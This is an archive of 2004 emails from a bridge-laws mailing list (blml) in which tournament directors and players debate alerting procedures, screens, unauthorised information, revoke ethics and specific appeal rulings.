confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Mar 9 05:43:18 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 9 Mar 2004 15:43:18 +1000 Subject: [blml] Catch-22 Message-ID: Jaap van der Neut wrote: [snip] >>So without screens in theory the only sensible thing >>to do is to ask about every alerted call (and whenever >>you suspect an alert failure). Strange that regulators >>still fail to see this obvious truth. Also because >>this prevents any UI to partner, your asking is >>automatic. [snip] Richard James Hills responds: But at least two regulators at the highest level (the WBF Laws Commission) did see this so-called "obvious truth". From the WBF LC Monaco minutes -> "...Two members stated that if it is announced that a question is asked every time there is an alert there can be no unauthorised information to partner..." However, those same two WBF LC members, "...allowed that the manner of asking the question could still create information..." Furthermore, another WBF LC member,"...pointed out that a player who said he would ask about every alert and then failed to do so from time to time defeated his object of not conveying unauthorised information..." To resolve these problems "obvious truths" are not fully helpful. In my humble opinion what is needed is, instead, the lateral thinking that was revealed on the "Explain" thread by Konrad Ciborowski: [snip] >my partner opened 2H, I alerted and ultimately got a good >score because an opponent assumed a classical weak two. >From then on I started prealerting our 2 level openers. [snip] Richard James Hills continues: Even without screens, appropriate pre-alerting will (in my humble opinion) reduce to zero the number of a TD's Law 73F2 rulings. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From walt1@verizon.net Tue Mar 9 05:24:57 2004 From: walt1@verizon.net (Walt) Date: Tue, 09 Mar 2004 00:24:57 -0500 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: References: Message-ID: <6.0.3.0.0.20040309001153.03cbc740@incoming.verizon.net> At 08:49 PM 8/03/2004, richard.hills@immi.gov.au wrote: >Ethical players would no longer have the horrible dilemma of >choosing between abiding by the current Law 72B3, or of >choosing to infract the current Law 72B3 while abiding by >their principles of fair play. Richard If I understand what you have written above: You are branding any player who follows the ethics and laws as written by the World Bridge Federation, but does not in addition to these follow your own personal ethics, as an unethical player. Is that correct? I am a very ethical player. I am bound by the laws of full disclosure and all their nuances. I am bound by the stated ethics that used to be in the front of the laws book. If an opponent is unlikely to understand the nuances of an auction I go out of my way to be sure that they are not misled. I believe that the laws of a game define what is ethical or unethical in that game. I do not try to bend the laws nor in any way to slide around them, but I do not impose additional laws upon myself. I do not feel bound by some feeling of "fair play" that is nowhere to be found in the laws or ethics of bridge. Does this make me an unethical player in your eyes? Walt From gesta@tiscali.co.uk Tue Mar 9 07:50:39 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 9 Mar 2004 07:50:39 -0000 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <002201c40565$a9cd8230$8ae4403e@multivisionoem> Message-ID: <001701c405ab$50300f90$03ab403e@multivisionoem> Grattan Endicott To: ; Sent: Tuesday, March 09, 2004 12:23 AM Subject: Re: [blml] Explain > Grattan, > > The way you post it I don't like this one and I feel like > ruling against declarer. > > But I don't mind the routine question about leads and > signals if it is the first board and made in normal tempo > at the normal time. Even on this hand. Such a question > is almost automatic for most players in short matches > and at pairs (when it is not practical to study opps > system in advance). > +=+ I do not recall, if I ever knew, what was established at the start of the round. This was the third or fourth board of a four board round. +=+ > > The problem is once again that if you only ask when > you really need the info at that point in time you convey > info yourself. And the problem is once again that the silly > WBFLC has never bothered to establish correct > procedure. > +=+ The 1985-7 drafting committee believed it had done what was necessary by giving the Director more readily used powers in such a situation in Law 73F2. The EBL Laws Committee had knowledge of the hand I quoted, a case which did not go to appeal. The WBF has said of one appeal that "if the answer could not affect East's action on the round it would be desirable to defer the question, probably until the auction is completed". My personal thought is that where a player could have a bridge reason (which in 1987 we did intend to mean something related to his action) the onus for informing him would desirably rest on opponent. But I see difficulties in agreeing what should be done and defining the situations. I do not agree that the problem is solved, or even abated, by 'asking about every alerted action', for the reason that lack of interest, even if enquiry occurs unfailingly - which is not the universal experience with players who say they do always ask, is easily betrayed by the demeanour and mannerisms of the enquirer. ~ Grattan ~ +=+ From t.kooyman@worldonline.nl Sat Mar 6 09:58:12 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sat, 6 Mar 2004 10:58:12 +0100 Subject: [blml] Why does Law 56 exist? References: <004101c401c6$8065bcc0$5caea5d5@Mario> Message-ID: <004001c40364$74d38a50$b582b6d4@LNV> This is a multi-part message in MIME format. ------=_NextPart_000_002D_01C40369.EB157D40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message ----- Original Message -----=20 From: Mario Dix=20 To: blml@rtflb.org=20 Sent: Thursday, March 04, 2004 9:55 AM Subject: [blml] Why does Law 56 exist? As some of you will realise, I am a new and fascinated devotee of = blml. I only discovered this site when recently in Turin amongst the = august gathering of very professional TDs there. It was a brilliant and = stimulating course. Having broken cover by wasting time replying to DS's = spurious puzzle last week (I should have known better!), I wish to ask a = simple question. Why does Law 56 exist? If we are truly trying to simplify the Law book, why not simply extend = the sentance of Law 54D to read "When declarer requires the defender to retract his faced opening lead = out of turn, the card illegally led becomes a major penalty card, and = Law 50D applies". In any case, shouldn't Law 54 have the heading of = "Defender's faced lead out of turn"? Mario Dix Hello Mario, We really have you pulling at the TD strings. Good for Malta and new = blood for blml.=20 I think that David gave a sufficient answer on your question. It is = always a problem to arrange things in the clearest way. And since we = need the content of 56 as a general description the choice to refer to = it in this specific case isn't that bad I. But we could have done as you = suggest, without leaving 56 out. I am sure that in that case somebody = would have asked why we didn't make a reference to 56.=20 ton ------=_NextPart_000_002D_01C40369.EB157D40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message
 
----- Original Message -----
From:=20 Mario Dix=20
Sent: Thursday, March 04, 2004 = 9:55=20 AM
Subject: [blml] Why does Law 56 = exist?

As = some of you=20 will realise, I am a new and fascinated devotee of blml. I only = discovered=20 this site when recently in Turin amongst the august gathering of very=20 professional TDs there. It was a brilliant and stimulating course. = Having=20 broken cover by wasting time replying to DS's spurious puzzle last = week (I=20 should have known better!), I wish to ask a simple question. Why does = Law 56=20 exist?
 
If = we are truly=20 trying to simplify the Law book, why not simply extend the sentance of = Law 54D=20 to read
 
"When declarer=20 requires the defender to retract his faced opening lead out of turn, = the card=20 illegally led becomes a major penalty card, and Law 50D applies". In = any case,=20 shouldn't Law 54 have the heading of "Defender's faced lead out of=20 turn"?
 
Mario Dix
 
Hello=20 Mario,
 
We = really have you=20 pulling at the TD strings. Good for Malta and new blood for blml.=20
 
I = think that David=20 gave a sufficient answer on your question. It is always a problem to = arrange=20 things in the clearest way. And since we need the content of 56 as a = general=20 description the choice to refer to it in this specific case isn't that = bad I.=20 But we could have done as you suggest, without leaving 56 out. I = am sure=20 that in that case somebody would have asked why we didn't make a=20 reference to 56.
 
 
ton
 
 

------=_NextPart_000_002D_01C40369.EB157D40-- From lumenco@canariastelecom.com Sun Mar 7 13:30:54 2004 From: lumenco@canariastelecom.com (Lucas Mendoza) Date: Sun, 7 Mar 2004 13:30:54 -0000 Subject: [blml] Mailing list or forum? References: <20040304105053.702621EC744@front.interia.pl> <018001c40220$5967cb40$5b9568d5@tinyhrieuyik> Message-ID: <00d001c40448$6afa9520$8341e7d5@pc> This is a multi-part message in MIME format. ------=_NextPart_000_00CD_01C40448.6A967C20 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable ----- Original Message -----=20 From: Nigel Guthrie=20 To: blml@rtflb.org=20 Sent: Thursday, March 04, 2004 7:39 PM Subject: Re: RE: [blml] Mailing list or forum? [Konrad Ciborowski] My vote is to keep it as a mailing list.=20 [Nigel] Mine too. [Lucas Mendoza] Both options maybe? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 01/03/2004 _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml ------=_NextPart_000_00CD_01C40448.6A967C20 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
 
----- Original Message -----
From:=20 Nigel Guthrie
Sent: Thursday, March 04, 2004 = 7:39=20 PM
Subject: Re: RE: [blml] Mailing = list or=20 forum?
[Konrad Ciborowski]
My vote is to keep it as a mailing list.=20
[Nigel]
Mine too.
[Lucas=20 Mendoza]
Both options = maybe?

---
Outgoing=20 mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: = 6.0.604=20 / Virus Database: 384 - Release Date:=20 = 01/03/2004

_______________________________________________
blml= =20 mailing list
blml@rtflb.org
http://www.ams= terdamned.org/mailman/listinfo/blml
------=_NextPart_000_00CD_01C40448.6A967C20-- From t.kooyman@worldonline.nl Tue Mar 9 08:54:12 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 9 Mar 2004 09:54:12 +0100 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <002201c40565$a9cd8230$8ae4403e@multivisionoem> Message-ID: <002c01c405b5$02002580$39ebf1c3@LNV> Grattan: > +=+ My 'assumption' is that if a player asks a question > which may mislead opponent he is subject to Law 73F2 > in doing so. He must have a demonstrable bridge reason > (sic) for asking. The following example is from play, not > recently: > > 10 7 6 5 > K Q 9 > KQ J > Q 7 2 > o > J 9 > A J 10 6 3 > 10.6.5. > A K 9 > At matchpoints NS have bid 1NT - 3NT. West leads H7. > South (a player of international repute) contemplates > dummy, puts up the HK, which holds. South asks West > about signalling methods on opening leads then plays DK. > West takes Ace and continues Hearts. (East's Spades are > A Q 8 2.) Is the question acceptable or was it reasonable > for West to be aggrieved? ~ Grattan ~ +=+ In Dutch we used expressions a long time ago which translated sound like: 'a lamp-post is from iron too' with which one wanted to say that the answer hadn't anything to do with the question. This is an example. We are not discussing the possibility that a question could mislead an opponent. This specific problem is well known and was used in the EBL-TD course. But no hair on my head was thinking for even a split second to use a case in which a question about a call during the auction could be used by declarer to claim redress because he felt misled. This is not happening. Let me repeat what the real discussion was. In the EBU a player may only ask for the meaning of a call if his action depends on the answer (I almost faint in disbelief writing this down). And then it went worse, bringing law 73F2 in when the EBU condition for such a question is not fulfilled, saying that asking without influencing the call to make, lacks a bridge reason. It is my strong belief that the EBU is on the wrong track. For sure in relation to the present laws and hopefully also when looking at the new edition. ton From jaapvanderneut@hotmail.com Tue Mar 9 09:12:22 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Tue, 9 Mar 2004 10:12:22 +0100 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <003301c4056b$d2305940$08284cd5@kocurzak> Message-ID: Conrad: > I thiink that French alerting rules are ridiculous. They are. But so are all alerting rules as long as there are no different alerts for conventional and unusual, two unrelated concepts. Still everybody playing the same system is an big advantage in the context of UI problems. Conrad: > In Poland we have 16 teams in the First Division, 4 x 16 in the Second > and 16 x ( 12-18 ) teams in the Third. That amounts to more than > 300 teams in the first 3 divisions. All of them play with screens. > Also the trials all played with screens almost from the earliest stages. > Same goes for the MP Championships and many other major > events. Good for Poland. Poland might easily be (way) better than France or any NCBO. You state your top 300 teams play with screens. In France I don't know, the accounting is hard given their organization structure (also at top regional level they use screens) but probaly the number is comparable to Poland. But in Holland it is only 38 teams (top 2 levels). Anyway, I didn't mean to say France is perfect. Don't worry, it isn't by a landslide. I am biased because I was comparing France to Holland. When I play something rather silly like a regional qualifier for the mixed pairs in France: screens. When I play the final in Holland: no screens. Now I have to add that culturally mixed cannot be compared between France (almost as important as open) and Holland (a big joke). And this year the Dutch mixed final will be played with screens for the first time. I am curious because lots of players will be playing screens for more or less the first time. And specially at mixed this will have very interesting effects. Jaap ----- Original Message ----- From: "Konrad Ciborowski" To: Sent: Tuesday, March 09, 2004 1:11 AM Subject: Re: [blml] Explain > > ----- Original Message ----- > From: "Jaap van der Neut" > > I wholeheartidilly agree with everything you wrote, Jaap > except for the last paragraph: > > > If you have no idea where to start have a look at the French situation. In > > France the UI situation is IMHO better than anywhere else in the world. > > First they all play more or less the same system (France is historically > and > > culturally a rather centralistic place) which means few questions. > > I thiink that French alerting rules are ridiculous. > One of their rules is that all 2level openers > are by default natural and strong. > Everybody plays > > 2C - ART F1 > 2D - ART GF > 2HS - weaak two > > so everybody alerts these openings and nobody ask what they > mean. When I played these openings > > 2D = multi > 2HS = weak 5+-5+ > > my partner opened 2H, I alerted and ultumately got a good > score because an opponent assumed a classical weak two. > From then on I started prealerting our 2 level openers. > Also I once played with classcial strong twos. > I didn't alert them but nevertheless everybody > asked - "are they really strong?" > > The alert regs should make people alert what is > atypicall - not what is merely "artificial". > > > >Second > > they play way more competitions (also medium level) with screens than any > > other country. > > In Poland we have 16 teams in the First Division, 4 x 16 in the Second > and 16 x ( 12-18 ) teams in the Third. That amounts to more than > 300 teams in the first 3 divisions. All of them play with screens. > Also the trials all played with screens almost from the earliest stages. > Same goes for the MP Championships and many other major > events. > > Konrad Ciborowski > Krakow, Poland > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From jaapvanderneut@hotmail.com Tue Mar 9 09:25:31 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Tue, 9 Mar 2004 10:25:31 +0100 Subject: [blml] Catch-22 References: Message-ID: Dear Richard, What is so wonderful about you is your archive capabilities. Thanks for keeping me and everybody else informed. Richard James Hills: Even without screens, appropriate pre-alerting will (in my humble opinion) reduce to zero the number of a TD's Law 73F2 rulings. Everything has advantages and disadvantages. I am no position to comment on this one. But the problem you referred to (Conrad's (pre)alerting of 2H) is also solved by having more than one type alert to distinguish between conventional and uncommon and maybe other dimensions. Jaap ----- Original Message ----- From: To: Sent: Tuesday, March 09, 2004 6:43 AM Subject: Re: [blml] Catch-22 Jaap van der Neut wrote: [snip] >>So without screens in theory the only sensible thing >>to do is to ask about every alerted call (and whenever >>you suspect an alert failure). Strange that regulators >>still fail to see this obvious truth. Also because >>this prevents any UI to partner, your asking is >>automatic. [snip] Richard James Hills responds: But at least two regulators at the highest level (the WBF Laws Commission) did see this so-called "obvious truth". From the WBF LC Monaco minutes -> "...Two members stated that if it is announced that a question is asked every time there is an alert there can be no unauthorised information to partner..." However, those same two WBF LC members, "...allowed that the manner of asking the question could still create information..." Furthermore, another WBF LC member,"...pointed out that a player who said he would ask about every alert and then failed to do so from time to time defeated his object of not conveying unauthorised information..." To resolve these problems "obvious truths" are not fully helpful. In my humble opinion what is needed is, instead, the lateral thinking that was revealed on the "Explain" thread by Konrad Ciborowski: [snip] >my partner opened 2H, I alerted and ultimately got a good >score because an opponent assumed a classical weak two. >From then on I started prealerting our 2 level openers. [snip] Richard James Hills continues: Even without screens, appropriate pre-alerting will (in my humble opinion) reduce to zero the number of a TD's Law 73F2 rulings. Best wishes RJH ---------------------------------------------------------------------------- ---------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. This email, including attachments, may contain confidential, legally privileged and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenous Affairs (DIMIA). DIMIA respects your privacy and has obligations under the Privacy Act 1988 (see www.immi.gov.au). ---------------------------------------------------------------------------- ---------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From nigel.guthrie@ntlworld.com Tue Mar 9 10:33:28 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 9 Mar 2004 10:33:28 -0000 Subject: [blml] Explain References: Message-ID: <00c001c405c1$f6be2520$7f9468d5@tinyhrieuyik> IMO, With the exception of screens, no suggestion so far is an improvement on the simple "Explain" protocol. Ton believes that the current law is fine. Ton's position would be more tenable if... (1) Opponents always ask about all allerted calls, rather than about just those in which they have an interest (but of course, the former is exactly what "Explain" rules accomplish with less waste of time). (2) There is no onus to "protect yourself" by asking about unalerted calls. (Again, Explain rules make it more likely that *all* alertable calls are explained by providing no easy excuse for witholding an explanation). Richard and Jaap believe that more sophisticated alert procedures with more varieties of alert would mitigate current problems. For example: the problem of a commonly alerted call with a new bizarre meaning that no opponent would be likely to guess. I agee with Richard, Jaap and the EBU that peculiar agreements should be highlighted on the front of the convention card and opponents' attention be drawn to them before play. I reckon that players can cope easily with that but with little more. Both Richard and Jaap are good Bridge players. Do they really believe that players would welcome even more complexity? Most people find alert procedures quite cumbersome already without having to memorise more categories. I suppose it might amuse TDs to have to rule about "the wrong kind of Alert". Explain rules achieve Richard and Jaap's objectives with less hassle. How do players rate another advantage of the Explain protocol -- that you have the option to ask opponents *not* to explain -- which saves time and unauthorised information? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 01/03/2004 From cibor@poczta.fm Tue Mar 9 10:35:48 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: 09 Mar 2004 11:35:48 +0100 Subject: [blml] Catch-22 Message-ID: <20040309103548.59D2D1EC80E@front.interia.pl> Jaap wrote: > Everything has advantages and disadvantages. I am no position to comment > on > this one. But the problem you referred to (Conrad's (pre)alerting of 2H) > is > also solved by having more than one type alert to distinguish between > conventional and uncommon and maybe other dimensions. >=20 I believe this is the wrong path. That is more or less what ACBL does - the= y have "alerts" and "annoucements" - they have fairly complicated rules and, from what our American contributors write, very few people understand them let alone abide by them. In France they chose simplicity and the result is as I described in my previous post. If everybody plays the same system (French standard) the easiest way is to get rid of most of the problems is to declare that the most common openings (a specific list given) shouldn't be alerted while all the other methods should. This "middle-of-the-road" solution was chosen in Poland and it worked like a charm - now we have the best of both worlds.=20 Konrad Ciborowski Krakow, Poland =0A__________________=0AKonrad Ciborowski Krak=F3w, Poland From jaapvanderneut@hotmail.com Tue Mar 9 11:57:37 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Tue, 9 Mar 2004 12:57:37 +0100 Subject: [blml] Explain References: <00c001c405c1$f6be2520$7f9468d5@tinyhrieuyik> Message-ID: Nigel: > IMO, With the exception of screens, no suggestion so far > is an improvement on the simple "Explain" protocol. Nigel, I will have a real thought about the explain idea. Nobody around me has ever taken this seriously. Maybe because of Ton's local influence. Whatever the rules are, and whatever their quality (some rules are not that bad), Ton always claims the current rules to be 'perfect'. Rather silly and not really a start of sensible discussion but that is the way Ton is. But about two alerts. It is a very old idea. Start reading the basic law on alerts. It states something like conventional OR uncommon. These are two unreletad concepts and if you alert them the same way alerts become meaningless. One approach is to have two alerts, lets say red (uncommon) and blue (conventional). So: 1NT-pas-2C Staymen: blue not blue 1NT-pas-2C natural: red not blue 1NT-pas-2C transfer to D: blue and red It has been discussed and been discarded. Is this really too complicated. I don't think so (at least at serious level) and it is way better than the current mess. And in real life we play like that for ages, using small alerts (legal obligation) and big alerts (now you better ask) even if they don't exist in the rules. Not too difficult. I can point at my alert card, I can put my alert card on top of opps stack of bidding cards (almost forcing him to ask), and all kind of things in between. Kind of active ethics. Basically the same idea as prealerting. But don't expect any support from the lawmakers for practical solutions. And so far there is no protection against players that alert some weird competitive convention the same way as they alert lets say a 2C opener. Anyway, for most players alerting is something they have to do to avoid a penalty rather than something to inform the opponents. In a way this is true. Since current alerts are next to meaningless we just alert (almost) all calls. You never know what some weird AC will consider an alert failure and nobody has ever been penalized for alerting too much. Legally impossible anyway because how are you going to challenge the guy that claims that he was not completely sure if the meaning of his partners call might be unexpected for his opps or that he thought that some minor system implication made the call alertable. We just have to wait for new rules I guess. About explains I don't know too much. As for alerting opps it seems way better than alerts. But the problem is way too much communication between opps I guess. Are there some players out there that actually like playing like that ? Anyway I keep my stance. With screens all this is pretty much a non-issue. Without screens you will never really solve it. Jaap ----- Original Message ----- From: "Nigel Guthrie" To: Sent: Tuesday, March 09, 2004 11:33 AM Subject: Re: [blml] Explain > IMO, With the exception of screens, no suggestion so far > is an improvement on the simple "Explain" protocol. > > Ton believes that the current law is fine. Ton's position > would be more tenable if... > (1) Opponents always ask about all allerted calls, rather > than about just those in which they have an interest > (but of course, the former is exactly what "Explain" rules > accomplish with less waste of time). > (2) There is no onus to "protect yourself" by asking about > unalerted calls. (Again, Explain rules make it more likely > that *all* alertable calls are explained by providing > no easy excuse for witholding an explanation). > > Richard and Jaap believe that more sophisticated alert > procedures with more varieties of alert would mitigate > current problems. For example: the problem of a commonly > alerted call with a new bizarre meaning that no opponent > would be likely to guess. > > I agee with Richard, Jaap and the EBU that peculiar agreements > should be highlighted on the front of the convention card > and opponents' attention be drawn to them before play. I reckon > that players can cope easily with that but with little more. > > Both Richard and Jaap are good Bridge players. Do they really > believe that players would welcome even more complexity? Most > people find alert procedures quite cumbersome already without > having to memorise more categories. I suppose it might amuse > TDs to have to rule about "the wrong kind of Alert". Explain > rules achieve Richard and Jaap's objectives with less hassle. > > How do players rate another advantage of the Explain protocol > -- that you have the option to ask opponents *not* to explain > -- which saves time and unauthorised information? > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.604 / Virus Database: 384 - Release Date: 01/03/2004 > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From karel@esatclear.ie Tue Mar 9 12:06:47 2004 From: karel@esatclear.ie (Karel) Date: Tue, 9 Mar 2004 12:06:47 GMT Subject: [blml] An easy Ruling ?? Message-ID: <404db357.240a.0@esatclear.ie> Teams match the following hand came up. N/S Vul Dealer East S Qx H Qxxx D AJTx C AKx West East S AKJ6 S 9x H Axx H KJTx D xxxx D KQx C xx C xxxx S T87xx H xx D xx C QJxx Bidding E S W N P P 1NT Dbl P(1) P(2) Rdbl P P 2S Dbl All Pass Result 2S-4* 1100 (1) Playing helvic - shows either a weak non touching suits runout or happy to play in 1NT redoubled. Was not alerted. (2) South claims that if the pass was alerted he would have bid 2S straight away making it impossible for West to double as west doesnt know what hand type east has. East claims that had South bid 2S directly he would have doubled (2 way) showing values allowing west to pass with spades or else bid. He felt with 21 - 23 known points for his side this was automatic, resulting in the same result. The appeals committee asked one of the top irish players (who happened to be playing on another team) what he would do if 2S came back to him. He felt double was a standout. On that basis the committee ruled result stands. Afterwards I was wondering if this was correct. The player they consulted was far better than the actual East. Would the double have been normal for this player and his peers in teams ?? After all its easy to say I would have doubled after seeing the cards. K. -- http://www.iol.ie From twm@cix.co.uk Tue Mar 9 12:21:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Tue, 9 Mar 2004 12:21 +0000 (GMT Standard Time) Subject: Fw: Fw: [blml] The WBF [WAS: revokes] In-Reply-To: <003901c402f5$b1f541e0$c19568d5@tinyhrieuyik> Message-ID: > [Tim] > > Nigel, this was written in the context of a suggestion > > that we should always rule the same against bunnies as > > against experts. Why on earth would I mention "investigation"? > > It is automatic for a TD to investigate when he gets to a > > table and as a result of such investigations he will > > often find that no infraction has occurred. If I judge > > an expert is "trying it on" in such circumstances *and* > > should have known better I am perfectly entitled to tell > > the expert off. If I find the situation is one where the > > UI is obviously interpretable even by the bunny (fairly rare > > IME) I rule against the bunny (carefully explaining why). > > [Nigel] > I still hope that you are deliberately winding us up, TIm :) > What I argue is that a novice *is* capable of using a > hesitation deceptively and of using UI from a hesitation. Well yes, but IME these occurrences are fairly rare. > Of course I agree that whether the novice did, in fact, > break current law is a matter of objective investigation, Yes > mind-reading skill No. One listens to what is said and decides whether or not to believe - as with life mind-reading might be useful but is not required. > and sophisticated subjective judgement. Very seldom. Although some fine judgement can be required (particularly when using L12c3) most cases are not particularly complex. > Where have I implied that a TD should penalize if he > decides that there has been no infraction? > > Even in this new context, however, is it OK for the TD > to impugn an expert's motives simply because he asks for > a ruling against novice opponents? No. But but TDs *must* take action when they find an expert attempting to use director calls to intimidate novices. It saddens me that you think such behaviour should be condoned. If it makes you any happier I will agree that novices are not always innocent and experts are not always attempting intimidation - the current laws allow a > Is it OK for a TD to call a player "stupid"? Especially if he is? Does > "judgement" legislation really justify offensive TD > behaviour? Actually Nigel it is possible to call someone stupid (or silly, or crazy, or whatever) without giving offence. "I'm sorry Nigel but I think it's stupid to rely on inferences from X's tempo in that situation - you know he is completely clueless." (An yes Nigel, this comment should not be made within hearing of "X"). > Are Richard and I the only people who find > Tim's suggested procedure in any way remarkable? There is nothing remarkable about my suggested procedure. Go to table, investigate, decide, inform. Chose language/attitude etc appropriate to the context. When I rule I am generally dealing with those I know pretty well and my language might be a little more direct than when dealing with strangers. Communication (like the laws) is not a "one size fits all" package. Tim From twm@cix.co.uk Tue Mar 9 12:21:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Tue, 9 Mar 2004 12:21 +0000 (GMT Standard Time) Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: <6.0.3.0.0.20040305223128.02b23bb0@incoming.verizon.net> Message-ID: > At 08:17 AM 5/03/2004, Tim West-Meads wrote: > >Personally I think the > >law should require disclosure if player subsequently becomes aware of a > >revoke but until it does we have no grounds for criticising those who > >say nothing. > > If the law required disclosure if I subsequently became aware that I > revoked, this would put me at a competitive disadvantage if I were more > knowledgeable or ethical than the rest of the field. Being more ethical puts one at a disadvantage to those who are less ethical - such is life. My ethics are more important to me than my results, obviously I will suffer in competition with someone who puts results ahead of ethics. Tim From twm@cix.co.uk Tue Mar 9 12:21:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Tue, 9 Mar 2004 12:21 +0000 (GMT Standard Time) Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: <200403051754.i25HsFm1013737@athena.ccrs.nrcan.gc.ca> Message-ID: > Tim West-Meads writes: > > > > Israel wrote: > > > > If you revoke at the end of the hand you may sit there quietly > > > > saying nothing. -=That is -ethical - , that is legal. But > > > > hiding your revoke by revoking again, mixing the cards, and so on > > > > is not permitted. > > > > > "THAT is LEGAL" if you say so.But "ETHICAL" ? And you the gallant > > > fighter for FULL DISCLOSURE. > > > > Israel, if it is legal it cannot possibly be unethical. To be > > unethical one must knowingly and willfully break the law. > > Not so. Laws constrain behaviour. Ethics is a matter of morality. The > two > should never be in conflict in a properly crafted set of laws and you > can't be punished if your actions are in accordance with the law. When it comes to bridge it also means that one has done no wrong if ones actions are fully in accordance with the law. > > Personally I think the > > law should require disclosure if player subsequently becomes aware of > > a revoke but until it does we have no grounds for criticising those > > who say nothing. > > Sure we do. I'll think badly of anybody who would knowingly do so. And > would never agree to play with them. (I'll leave that to the audience to > decide whether that might not be a plus) So a meaningless revoke occurs, the players know it but also know that if attention is drawn the TD must be called and will impose a one-trick penalty - so nobody says anything because none of them want that. You will think badly of these people? (another change I'd like to see in the laws is for TDs to be able to waive penalties "on request" rather than "for cause"). Until then we should respect the right of people to follow the laws (whether it be refusing to condone a BOOT or not drawing attention to their own revoke). Tim From karel@esatclear.ie Tue Mar 9 12:55:25 2004 From: karel@esatclear.ie (Karel) Date: Tue, 9 Mar 2004 12:55:25 GMT Subject: [blml] UI/MI/Pausing has it all ! Message-ID: <404dbebd.2718.0@esatclear.ie> In the same event as the previous post. Teams All vul dealer west S Jx H Qxxxx D xx C K9xx West East S ATxxxx S QT H xx H Kx D K9 D QTxxx C JTx C Axxx S Kxx H AJxx D AJxx C Qx West North East South 2D(1) P 2H 2NT P 3D(2) Dbl P 3S P P 4H P P 4S(3) Dbl All pass result 4S dbled -3 800 (1) Multi 2D (2) Meant as a transfer. Not alerted by south (3) Asked what the 3D was. South said they had no agreement and initially assumed natural but based on the auction it seemed likely it was meant as a transfer to hearts. E/W appeal the result N/S play system on over 1NT overcalls etc. South said they had no such agreement over 2NT and was adamant they had no agreement in this situation. He said that had east passed 3D he would also have passed for a rotten score. East's double was made with an air of confidence. South felt this was based on trump lenght but as he had no reason to doubt his partner and as he had 4 trumps he was happy to pass. When West pulled the double East was clearly unhappy. This now got South thinking. East it appeared had long diamonds as opposed to values in which case North couldnt have diamonds and had meant 3D as a transfer. South's hand was suitable for a heart contract so he bid 4H. He admitted if he was wrong then he was going for a telephone number but felt he was entitled to back his table presence. Your ruling pls. if there was a disputed pause at Norths 3rd turn to bid how would this effect your ruling ?? K. -- http://www.iol.ie From blml@blakjak.com Tue Mar 9 13:42:29 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 9 Mar 2004 13:42:29 +0000 Subject: [blml] Explain In-Reply-To: <002c01c405b5$02002580$39ebf1c3@LNV> References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <002201c40565$a9cd8230$8ae4403e@multivisionoem> <002c01c405b5$02002580$39ebf1c3@LNV> Message-ID: Ton Kooijman wrote >In the EBU a player may only ask >for the meaning of a call if his action depends on the answer (I almost >faint in disbelief writing this down). Well, you should, because it is not true. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From Frances.Hinden@Shell.com Tue Mar 9 14:16:47 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Tue, 9 Mar 2004 14:16:47 -0000 Subject: [blml] Catch-22 